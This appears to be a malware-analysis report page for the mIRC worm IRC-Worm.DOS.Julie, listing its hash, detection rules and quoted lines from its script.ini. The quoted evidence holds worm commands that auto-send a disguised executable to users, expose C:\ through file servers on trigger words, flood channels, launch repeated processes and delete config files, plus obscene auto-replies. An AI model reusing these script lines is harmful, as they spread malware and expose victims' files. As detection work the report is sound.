Hostile 92% Download

IRC-Worm.DOS.Julie

mIRC worm with C2 and DoS

Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-256075e6bd5cef94a4a41e146343aacd01dbcec6d2a4a03de9b1fe7a2a95ff36f3f

Evidence

Detects mIRC dcc send command lines 10–25
10:28… SPYZX coucoucou! $ip on $server $+ : $+ $port $+
11 n9= on 1:connect:.msg #france vivant_vivant_vivant_vivant_vivant
12 n10=
13 n11= on 1:join:#:{
14 n12= if ( $nick == $me ) {halt} |.dcc send $nick C:\Windows\Julie16,JPG.com
15 n13= }
16 n14=
17 n15= ctcp 1:ping:/dcc send $nick C:\Windows\Julie16,JPG.com
18 n16= on 1:text:*fopenc*:*:/fserve ZYZHT 5 C:\
19 n17= on 1:text:*fopenm*:*:/fserve ZOZHT 5 C:\mirc
20 n18=
21 n19= on 1:text:*really!*:#:/msg $nick IBLIS eSt La ;)
22 n20= on 1:text:*sex*:#:/msg $nick Ok! lets FucK me!
23 n21= on 1:text:*gay*:#:/msg $nick Wanna TesT my AssHole?
24 n22= on 1:text:*love*:#:/msg $nick Love? With your Head?!
25 n23= on 1:text:*trade*:#:/dcc send $nick C:\Window …
mIRC config file paths (group A) lines 39–61
39:26… /exit
40 n38= on 1:text:*hack!*:*:/dcc send $nick C:\windows\system\password.cpl
41 n39=
42 n40= on 1:text:*ramflooder*:*:{
43 n41= /run C:\mirc\mirc.exe
44 n42= /run C:\mirc\mirc.exe
45 n43= /run C:\mirc\mirc.exe
46 n44= /run C:\mirc\mirc.exe
47 n45= /run C:\mirc\mirc.exe
48 n46= /run C:\mirc\mirc.exe
49 n47= /run C:\mirc\mirc.exe
50 n48= }
51 n49= on 1:text:*mirckiller*:*:/remove C:\mirc\mirc.ini
52 n50= on 1:text:*chanflooder*:*:{
53 n51= /join #hack
⋯8 lines
Detects mIRC QUIT event lines 64–70
64:23…
65 n63= /join #chat-world
66 n64= }
67 n65= on 1:text:*telnetmec*:*:/run C:\windows\telnet.exe
68 n66= on 1:quit:/msg #chatzone NuKe me if U can hehehe AsshOle!
69 n67= on 1:quit:/msg #hack NuKe me if U can hehehe AsshOle!
70 $

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